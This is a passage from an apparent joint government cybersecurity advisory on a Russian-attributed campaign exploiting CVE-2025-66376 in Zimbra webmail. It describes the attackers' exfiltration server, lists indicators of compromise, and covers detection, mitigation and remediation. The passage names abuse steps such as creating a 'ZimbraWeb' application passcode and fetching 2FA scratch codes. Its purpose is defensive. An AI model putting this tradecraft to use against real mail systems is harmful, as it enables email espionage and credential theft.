An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
